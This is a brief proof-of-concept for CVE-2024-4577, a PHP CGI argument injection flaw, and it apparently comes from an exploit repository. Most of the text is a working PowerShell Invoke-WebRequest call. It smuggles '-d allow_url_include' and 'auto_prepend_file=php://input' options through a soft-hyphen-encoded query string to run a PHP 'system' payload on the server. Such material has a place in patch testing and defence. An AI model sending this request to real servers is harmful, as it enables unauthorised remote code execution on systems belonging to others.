
Proof-of-concept exploit for CVE-2024-4577, a PHP CGI argument injection vulnerability enabling remote code execution via crafted HTTP requests.
CVE-2024-4577 Environment Setup Files and PHP Files
--poc-- Invoke-WebRequest -Method POST `
-Headers @{"Content-Type" = "application/x-www-form-urlencoded"}
-Body "<?php system('whoami'); ?>"-Uri "http://localhost/test.php?%ADd+allow_url_include%3D1+%ADd+auto_prepend_ file%3Dphp://input"